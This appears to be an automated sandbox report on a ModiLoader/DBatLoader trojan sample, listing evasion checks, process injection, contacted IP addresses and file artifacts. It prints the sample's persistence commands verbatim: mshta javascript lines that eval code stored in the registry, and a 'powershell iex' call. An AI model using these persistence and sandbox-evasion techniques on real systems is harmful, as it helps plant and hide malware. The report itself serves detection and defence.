Malware Analysis Report

2024-08-06 14:24

Sample ID 240525-wwyqnadf45
Target 72d5c9929f5deeaaf53ddef612923201_JaffaCakes118
SHA256 f0f348f34867b9bdbb490dd240428db74fde3e10b87d0b84f51ec052a457938f
Tags
modiloader evasion persistence trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK Matrix

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

f0f348f34867b9bdbb490dd240428db74fde3e10b87d0b84f51ec052a457938f

Threat Level: Known bad

The file 72d5c9929f5deeaaf53ddef612923201_JaffaCakes118 was found to be: Known bad.

Malicious Activity Summary

modiloader evasion persistence trojan

ModiLoader, DBatLoader

Process spawned unexpected child process

Looks for VirtualBox Guest Additions in registry

Looks for VirtualBox drivers on disk

ModiLoader Second Stage

Checks for common network interception software

Looks for VMWare Tools registry key

Drops startup file

Checks BIOS information in registry

Executes dropped EXE

Loads dropped DLL

Checks computer location settings

Adds Run key to start application

Maps connected drives based on registry

Drops file in System32 directory

Suspicious use of SetThreadContext

Enumerates physical storage devices

Modifies Internet Explorer settings

Modifies registry class

Suspicious behavior: EnumeratesProcesses

Suspicious use of WriteProcessMemory

Suspicious use of AdjustPrivilegeToken

Suspicious behavior: MapViewOfSection

MITRE ATT&CK Matrix V13

Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Boot or Logon Autostart Execution
T1547
Registry Run Keys / Startup Folder
T1547.001
Privilege Escalation
TA0004
Boot or Logon Autostart Execution
T1547
Registry Run Keys / Startup Folder
T1547.001
Defense Evasion
TA0005
Virtualization/Sandbox Evasion
T1497
Modify Registry
T1112
Credential Access
TA0006
Discovery
TA0007
Software Discovery
T1518
Query Registry
T1012
Virtualization/Sandbox Evasion
T1497
File and Directory Discovery
T1083
System Information Discovery
T1082
Peripheral Device Discovery
T1120
Lateral Movement
TA0008
Collection
TA0009
Exfiltration
TA0010
Command and Control
TA0011
Impact
TA0040
Resource Development
TA0042
Reconnaissance
TA0043

Analysis: static1

Detonation Overview

Reported

2024-05-25 18:16

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-05-25 18:16

Reported

2024-05-25 18:19

Platform

win7-20240221-en

Max time kernel

150s

Max time network

149s

Command Line

"C:\Users\Admin\AppData\Local\Temp\72d5c9929f5deeaaf53ddef612923201_JaffaCakes118.exe"

Signatures

ModiLoader, DBatLoader

trojan modiloader

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\mshta.exe

Checks for common network interception software

evasion

Looks for VirtualBox Guest Additions in registry

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions C:\Windows\SysWOW64\regsvr32.exe N/A

Looks for VirtualBox drivers on disk

evasion
Description Indicator Process Target
File opened (read-only) C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys C:\Windows\SysWOW64\regsvr32.exe N/A

ModiLoader Second Stage

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Looks for VMWare Tools registry key

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools C:\Windows\SysWOW64\regsvr32.exe N/A

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Windows\SysWOW64\regsvr32.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Windows\SysWOW64\regsvr32.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e795bdc5.lnk C:\Windows\SysWOW64\regsvr32.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\988.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\988.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\72d5c9929f5deeaaf53ddef612923201_JaffaCakes118.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\988.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:tOIWw1gg=\"Pmf\";x2T=new%20ActiveXObject(\"WScript.Shell\");hp5UpKH=\"OTxOjNO\";m56zMu=x2T.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\pzadcohmp\\\\jhpvhyp\");ZCBFfz92b=\"MkYVlaVCKF\";eval(m56zMu);FJJ3tjEC3=\"etmei\";" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:rrptB5mj=\"d1xSCr\";Bw4=new%20ActiveXObject(\"WScript.Shell\");NCxJm3qem=\"vBD\";u79vEG=Bw4.RegRead(\"HKCU\\\\software\\\\pzadcohmp\\\\jhpvhyp\");hrbGBbS0=\"IwrR4d\";eval(u79vEG);OC0ELhz6t=\"1G5dMhyIw\";" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Users\\Admin\\AppData\\Local\\d3afae00\\9a86c6c3.lnk\"" C:\Windows\SysWOW64\regsvr32.exe N/A

Maps connected drives based on registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum C:\Windows\SysWOW64\regsvr32.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0 C:\Windows\SysWOW64\regsvr32.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 2488 set thread context of 1980 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1980 set thread context of 1340 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe

Enumerates physical storage devices

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Internet Explorer\International C:\Windows\SysWOW64\regsvr32.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_CLASSES\.73caeeca8 C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_CLASSES\.73caeeca8\ = "379d11eb" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_CLASSES\379d11eb C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_CLASSES\379d11eb\shell C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_CLASSES\379d11eb\shell\open C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_CLASSES\379d11eb\shell\open\command C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_CLASSES\379d11eb\shell\open\command\ = "mshta \"javascript:pkFFQVXq5=\"mws1\";t2V=new ActiveXObject(\"WScript.Shell\");wfBH8qsuv9=\"HiPgk\";k0vGu=t2V.RegRead(\"HKCU\\\\software\\\\pzadcohmp\\\\jhpvhyp\");Zdga3hl=\"4fFhM0xWjO\";eval(k0vGu);FZHjmY86=\"E4CwvhhLS\";\"" C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1228 wrote to memory of 1680 N/A C:\Users\Admin\AppData\Local\Temp\72d5c9929f5deeaaf53ddef612923201_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\72d5c9929f5deeaaf53ddef612923201_JaffaCakes118.exe
PID 1228 wrote to memory of 1680 N/A C:\Users\Admin\AppData\Local\Temp\72d5c9929f5deeaaf53ddef612923201_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\72d5c9929f5deeaaf53ddef612923201_JaffaCakes118.exe
PID 1228 wrote to memory of 1680 N/A C:\Users\Admin\AppData\Local\Temp\72d5c9929f5deeaaf53ddef612923201_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\72d5c9929f5deeaaf53ddef612923201_JaffaCakes118.exe
PID 1228 wrote to memory of 1680 N/A C:\Users\Admin\AppData\Local\Temp\72d5c9929f5deeaaf53ddef612923201_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\72d5c9929f5deeaaf53ddef612923201_JaffaCakes118.exe
PID 1228 wrote to memory of 1680 N/A C:\Users\Admin\AppData\Local\Temp\72d5c9929f5deeaaf53ddef612923201_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\72d5c9929f5deeaaf53ddef612923201_JaffaCakes118.exe
PID 1228 wrote to memory of 1680 N/A C:\Users\Admin\AppData\Local\Temp\72d5c9929f5deeaaf53ddef612923201_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\72d5c9929f5deeaaf53ddef612923201_JaffaCakes118.exe
PID 1228 wrote to memory of 1680 N/A C:\Users\Admin\AppData\Local\Temp\72d5c9929f5deeaaf53ddef612923201_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\72d5c9929f5deeaaf53ddef612923201_JaffaCakes118.exe
PID 1228 wrote to memory of 1680 N/A C:\Users\Admin\AppData\Local\Temp\72d5c9929f5deeaaf53ddef612923201_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\72d5c9929f5deeaaf53ddef612923201_JaffaCakes118.exe
PID 1228 wrote to memory of 1680 N/A C:\Users\Admin\AppData\Local\Temp\72d5c9929f5deeaaf53ddef612923201_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\72d5c9929f5deeaaf53ddef612923201_JaffaCakes118.exe
PID 1680 wrote to memory of 2968 N/A C:\Users\Admin\AppData\Local\Temp\72d5c9929f5deeaaf53ddef612923201_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\988.exe
PID 1680 wrote to memory of 2968 N/A C:\Users\Admin\AppData\Local\Temp\72d5c9929f5deeaaf53ddef612923201_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\988.exe
PID 1680 wrote to memory of 2968 N/A C:\Users\Admin\AppData\Local\Temp\72d5c9929f5deeaaf53ddef612923201_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\988.exe
PID 1680 wrote to memory of 2968 N/A C:\Users\Admin\AppData\Local\Temp\72d5c9929f5deeaaf53ddef612923201_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\988.exe
PID 2968 wrote to memory of 2560 N/A C:\Users\Admin\AppData\Local\Temp\988.exe C:\Users\Admin\AppData\Local\Temp\988.exe
PID 2968 wrote to memory of 2560 N/A C:\Users\Admin\AppData\Local\Temp\988.exe C:\Users\Admin\AppData\Local\Temp\988.exe
PID 2968 wrote to memory of 2560 N/A C:\Users\Admin\AppData\Local\Temp\988.exe C:\Users\Admin\AppData\Local\Temp\988.exe
PID 2968 wrote to memory of 2560 N/A C:\Users\Admin\AppData\Local\Temp\988.exe C:\Users\Admin\AppData\Local\Temp\988.exe
PID 2968 wrote to memory of 2560 N/A C:\Users\Admin\AppData\Local\Temp\988.exe C:\Users\Admin\AppData\Local\Temp\988.exe
PID 2968 wrote to memory of 2560 N/A C:\Users\Admin\AppData\Local\Temp\988.exe C:\Users\Admin\AppData\Local\Temp\988.exe
PID 2968 wrote to memory of 2560 N/A C:\Users\Admin\AppData\Local\Temp\988.exe C:\Users\Admin\AppData\Local\Temp\988.exe
PID 2968 wrote to memory of 2560 N/A C:\Users\Admin\AppData\Local\Temp\988.exe C:\Users\Admin\AppData\Local\Temp\988.exe
PID 2968 wrote to memory of 2560 N/A C:\Users\Admin\AppData\Local\Temp\988.exe C:\Users\Admin\AppData\Local\Temp\988.exe
PID 2736 wrote to memory of 2488 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2736 wrote to memory of 2488 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2736 wrote to memory of 2488 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2736 wrote to memory of 2488 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2488 wrote to memory of 1980 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2488 wrote to memory of 1980 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2488 wrote to memory of 1980 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2488 wrote to memory of 1980 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2488 wrote to memory of 1980 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2488 wrote to memory of 1980 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2488 wrote to memory of 1980 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2488 wrote to memory of 1980 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1980 wrote to memory of 1340 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1980 wrote to memory of 1340 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1980 wrote to memory of 1340 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1980 wrote to memory of 1340 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1980 wrote to memory of 1340 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1980 wrote to memory of 1340 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1980 wrote to memory of 1340 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1980 wrote to memory of 1340 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe

Processes

C:\Users\Admin\AppData\Local\Temp\72d5c9929f5deeaaf53ddef612923201_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\72d5c9929f5deeaaf53ddef612923201_JaffaCakes118.exe"

C:\Users\Admin\AppData\Local\Temp\72d5c9929f5deeaaf53ddef612923201_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\72d5c9929f5deeaaf53ddef612923201_JaffaCakes118.exe"

C:\Users\Admin\AppData\Local\Temp\988.exe

"C:\Users\Admin\AppData\Local\Temp\988.exe"

C:\Users\Admin\AppData\Local\Temp\988.exe

"C:\Users\Admin\AppData\Local\Temp\988.exe"

C:\Windows\system32\mshta.exe

"C:\Windows\system32\mshta.exe" javascript:k0aGRguV="JgHE";p4q=new%20ActiveXObject("WScript.Shell");gs5PJ7Vp="jyN3R1Qpo";qc7KB=p4q.RegRead("HKLM\\software\\Wow6432Node\\ONDrvXI\\mH9ZtaerMl");cqyTThZV5="whciAqVico";eval(qc7KB);VWGfj2VOW="vFqDl7EMP";

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:lbam

C:\Windows\SysWOW64\regsvr32.exe

regsvr32.exe

C:\Windows\SysWOW64\regsvr32.exe

"C:\Windows\SysWOW64\regsvr32.exe"

Network

Country Destination Domain Proto
US 69.189.213.135:80 tcp
ID 114.15.45.184:80 tcp
US 155.9.253.66:80 tcp
US 96.105.121.249:80 tcp
HK 218.189.194.249:80 tcp
US 128.135.130.149:80 tcp
NO 109.189.77.119:80 tcp
NZ 139.180.120.12:80 tcp
US 4.4.16.163:80 tcp
US 214.81.185.30:80 tcp
JP 153.237.204.15:80 tcp
KR 175.123.119.165:80 tcp
US 33.240.49.191:443 tcp
IN 202.12.80.113:80 tcp
KR 180.238.125.210:80 tcp
NL 145.151.182.6:443 tcp
MA 102.50.108.98:80 tcp
CN 101.204.194.135:80 tcp
SE 91.129.44.157:8080 tcp
BR 179.177.113.248:80 tcp
JP 222.146.134.114:80 tcp
US 71.155.120.242:8080 tcp
US 70.142.114.231:80 tcp
JP 210.150.199.56:8080 tcp
HK 14.136.118.87:80 tcp
BR 143.137.208.163:80 tcp
BE 145.60.246.23:80 tcp
IT 128.66.224.150:80 tcp
IN 106.221.247.33:80 tcp
US 6.134.169.160:80 tcp
AR 181.1.221.163:80 tcp
GB 31.25.160.254:80 tcp
PH 210.16.17.138:80 tcp
US 209.50.103.90:8080 tcp
CN 211.90.217.19:80 tcp
TW 163.32.141.70:443 tcp
GB 164.143.178.42:80 tcp
US 52.52.63.232:80 tcp
DE 217.191.157.103:80 tcp
DE 149.245.111.96:80 tcp
CN 14.29.186.227:80 tcp
KR 61.249.32.175:80 tcp
US 19.145.237.183:80 tcp
US 129.79.77.113:80 tcp
US 21.142.133.39:80 tcp
DK 80.208.83.59:80 tcp
ET 196.189.138.176:80 tcp
US 22.241.168.3:80 tcp
JP 60.56.53.156:8080 tcp
US 48.89.201.203:443 tcp
FR 176.176.72.65:80 tcp
US 29.189.24.18:80 tcp
KR 210.107.154.180:80 tcp
US 8.126.54.173:80 tcp
NO 4.179.25.127:80 tcp
US 74.228.247.50:80 tcp
JP 219.10.239.48:80 tcp
N/A 10.38.188.154:8080 tcp
US 129.237.131.43:80 tcp
GB 46.208.31.129:443 tcp
US 97.119.166.184:80 tcp
US 104.140.72.133:80 tcp
CN 114.65.149.110:80 tcp
SA 5.244.249.192:8080 tcp
CN 112.74.247.186:80 tcp
CN 43.228.3.155:80 tcp
TH 111.84.142.144:8080 tcp
DE 51.114.254.170:80 tcp
CN 111.29.189.153:80 tcp
US 63.211.75.89:80 tcp
MU 196.160.119.71:8080 tcp
US 66.63.7.239:80 tcp
TR 195.244.50.135:80 tcp
CA 142.84.240.54:80 tcp
US 35.227.100.80:80 tcp
CN 117.89.93.79:80 tcp
AU 122.105.217.70:8080 tcp
TW 35.229.140.254:443 tcp
N/A 127.90.95.178:443 tcp
IT 82.188.85.137:80 tcp
IT 82.89.198.108:80 tcp
VE 181.34.43.21:80 tcp
NL 156.31.53.214:443 tcp
BR 20.206.28.19:80 tcp
US 97.214.17.244:80 tcp
US 56.129.9.8:80 tcp
RU 46.161.130.70:80 tcp
BR 128.201.193.16:80 tcp
CN 171.116.132.68:443 tcp
GB 25.81.220.126:80 tcp
US 165.24.18.149:8080 tcp
US 169.64.136.137:80 tcp
US 168.146.144.24:80 tcp
US 165.41.229.101:80 tcp
CN 115.233.17.90:80 tcp
BE 185.23.247.250:8080 tcp
US 12.223.146.130:80 tcp
US 15.11.204.112:80 tcp
US 15.191.196.38:80 tcp
NL 145.70.183.9:80 tcp
SG 8.166.102.163:80 tcp
GB 193.203.85.156:80 tcp
SA 87.109.194.167:80 tcp
DE 95.157.46.155:80 tcp
ES 194.140.21.26:80 tcp
US 135.96.37.228:80 tcp
US 138.86.61.103:80 tcp
DE 149.224.47.187:80 tcp
CM 102.245.50.174:80 tcp
JP 153.236.10.97:80 tcp
US 32.109.19.222:80 tcp
GB 31.49.210.224:80 tcp
KR 211.208.115.234:80 tcp
US 192.1.199.3:80 tcp
PL 94.78.170.246:80 tcp
US 128.252.147.193:8080 tcp
FR 185.244.17.145:80 tcp
CN 211.82.12.177:80 tcp
US 32.46.37.61:80 tcp
US 198.78.29.193:80 tcp
US 204.70.27.161:80 tcp
RU 195.9.230.3:80 tcp
IR 89.47.79.33:80 tcp
CN 120.11.92.153:80 tcp
US 137.12.246.158:80 tcp
DE 85.22.6.69:80 tcp
IN 116.72.5.13:80 tcp
US 64.57.146.100:80 tcp
CO 181.145.86.227:80 tcp
ZA 4.253.169.120:80 tcp
US 214.25.116.183:80 tcp
AR 200.81.16.41:80 tcp
BR 200.144.235.30:80 tcp
US 21.221.151.198:80 tcp
US 47.195.21.240:80 tcp
US 32.67.89.71:8080 tcp
US 129.55.6.44:80 tcp
IT 2.192.77.163:80 tcp
FR 78.244.105.115:80 tcp
US 32.21.192.123:80 tcp
DK 158.173.156.111:80 tcp
US 21.9.222.177:80 tcp
US 18.252.200.145:443 tcp

Files

memory/1680-2-0x0000000000400000-0x0000000000458000-memory.dmp

memory/1680-8-0x0000000000400000-0x0000000000458000-memory.dmp

memory/1680-6-0x0000000000400000-0x0000000000458000-memory.dmp

memory/1680-4-0x0000000000400000-0x0000000000458000-memory.dmp

memory/1680-0-0x0000000000400000-0x0000000000458000-memory.dmp

memory/1680-11-0x0000000000400000-0x0000000000458000-memory.dmp

memory/1680-10-0x0000000000400000-0x0000000000458000-memory.dmp

memory/1680-14-0x0000000000400000-0x0000000000458000-memory.dmp

\Users\Admin\AppData\Local\Temp\988.exe

MD5 a3219787e189eea4c7dd81f766f3350d
SHA1 369d430d0dad619a4a26f2546c483d723a6a5f85
SHA256 cf137ffac729c32770b7fab7a8e925f7903e952f4aa4143fa84211331c3e694f
SHA512 30cfff78744679c1ef2ec358d9dd7c46c8566fa3293aa750ff4ff0743e0a6f2a98e3060f140ff44ac319af1bf899cdaa5fb4e1c17a0f3ff6f71ff4509aea0b90

memory/2560-24-0x0000000000400000-0x0000000000439000-memory.dmp

memory/2560-32-0x0000000000400000-0x0000000000439000-memory.dmp

memory/2560-28-0x0000000000400000-0x0000000000439000-memory.dmp

memory/2560-26-0x0000000000400000-0x0000000000439000-memory.dmp

memory/2560-30-0x0000000000400000-0x0000000000439000-memory.dmp

memory/2560-35-0x0000000000400000-0x0000000000439000-memory.dmp

memory/2560-36-0x0000000000400000-0x0000000000439000-memory.dmp

memory/2560-37-0x0000000000400000-0x0000000000439000-memory.dmp

memory/2560-40-0x0000000001D60000-0x0000000001E34000-memory.dmp

memory/2560-42-0x0000000001D60000-0x0000000001E34000-memory.dmp

memory/2560-39-0x0000000001D60000-0x0000000001E34000-memory.dmp

memory/2560-41-0x0000000001D60000-0x0000000001E34000-memory.dmp

memory/2560-38-0x0000000001D60000-0x0000000001E34000-memory.dmp

memory/2560-43-0x0000000001D60000-0x0000000001E34000-memory.dmp

memory/2560-44-0x0000000001D60000-0x0000000001E34000-memory.dmp

memory/2488-53-0x00000000062C0000-0x0000000006394000-memory.dmp

memory/1980-55-0x0000000000280000-0x00000000003BE000-memory.dmp

memory/1980-65-0x0000000000280000-0x00000000003BE000-memory.dmp

